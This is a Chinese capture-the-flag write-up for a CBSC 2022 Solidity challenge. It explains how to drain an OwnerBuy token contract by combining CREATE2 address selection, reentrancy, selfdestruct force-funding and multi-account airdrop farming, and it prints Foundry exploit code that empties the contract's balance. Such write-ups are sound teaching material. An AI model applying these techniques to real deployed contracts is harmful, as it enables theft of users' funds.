04.challenge
2023-07-28 14:08:24 # 16.CBSC 2022

04.challenge

分析

1.全局观

看似给了很多合约,其实很少:

  • 除了OwnerBuy之外的所有合约:ERC20标准
  • OwnerBuy
    • 继承了ERC20标准
    • 拥有白名单机制
    • 修改owner机制
    • 买卖代币

2.任务

我们至少将Time设置为100

1
2
3
4
5
6
7
function finish() public onlyOwner returns (bool) {
require(Times[msg.sender] >= 100);
Times[msg.sender] = 0;
msg.sender.transfer(address(this).balance);
emit finished(true);
return true;
}

3.分析

挺常见的场景,主要涉及:CREATE2,重入,“电梯方法”(也就是同个方法调用两次返回不同结果),白名单与阈值,自毁强制打钱,多用户薅羊毛。其实就是不断的满足买卖的限制条件然后进行重入即可。大概思路如下:

  1. 成为owner并设置_owner
  2. 薅羊毛并且转钱到攻击合约
  3. 强制打钱到题目合约
  4. 重入
  5. 再次成为owner
  6. 完成题目

解题

代码有点多,有兴趣的话请查看我的GitHub,这里放出部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.13;

import "forge-std/Test.sol";
import "./bytecode.sol";

contract attackTest is Test{
IOwnerBuy public ownerbuy;
// 用remix获取attacker.sol的bytecode
bytes bytecode = BYTECODE;
bytes32 bytecodeHash = 0x3441600f3121d3cc8960a9230b29772dc5ad4318ec5a1768296869a7c6821001;

function setUp() public{}

function test_isComplete() public {
// 用户0x5B38Da6a701c568545dCfcB03FcB875f56beddC4来进行攻击
payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4).transfer(1 ether); // 给点钱,否则无法buy()
vm.startPrank(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
vm.label(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), "user");

// 部署攻击合约,注意要用solidity来计算!不要直接用网页上面的keccak256,因为要做一点abi格式化
// 需要用到脚本来计算salt,就不放在GitHub了,博客中关于CREATE2的内容中有可以自行找一下
IAttacker attackerAddress = IAttacker(payable(deploy(0x0000000000000000000000000000000000000000000000000000000000025884)));
vm.label(address(attackerAddress), "attackerAddress");

// 攻击之前初始化
attackerAddress.init();
ownerbuy = IOwnerBuy(address(attackerAddress.ownerbuy()));
vm.label(address(ownerbuy), "ownerbuy");
attackerAddress.beforeAttack{value:1 wei}();

// 使用三个Helper来获得空投满足条件
for(uint256 i = 0; i < 4; i++){
Helper helper = new Helper(address(ownerbuy));
helper.buyAndTransfer{value:10000 wei}(address(attackerAddress));
}

attackerAddress.Attack(); // 开始攻击
assertEq(address(ownerbuy).balance, 0); // 检查是否攻击成功

vm.stopPrank();
}

function deploy(bytes32 salt) public returns(address) {
address addr;
bytes memory _bytecode = bytecode;
assembly {
addr := create2(0, add(_bytecode, 0x20), mload(_bytecode), salt)
}
return addr;
}

}

contract Helper{
IOwnerBuy ownerbuy;

constructor(address _addr) payable public{
ownerbuy = IOwnerBuy(_addr);
}
function buyAndTransfer(address _addr) public payable {
ownerbuy.buy{value: 1 wei}(); // 获得100元
ownerbuy.transfer(_addr,100); // 转给攻击合约地址
selfdestruct(payable(address(ownerbuy))); // sell()的时候ownerbuy需要钱才能调用
}

}

interface IOwnerBuy{
function buy() external payable returns (bool);
function sell(uint256) external returns (bool );
function finish() external returns (bool);
function changeOwner() external;
function changestatus(address) external;
function transferOwnership(address) external;
function transfer(address, uint256) external returns (bool);
function _owner() external returns(address);
function balanceOf(address ) external view returns (uint256);

}

interface IAttacker{
function ownerbuy() external view returns(address);
function init() external;
function beforeAttack() external payable;
function Attack() external;
function isOwner(address ) external returns(bool);
}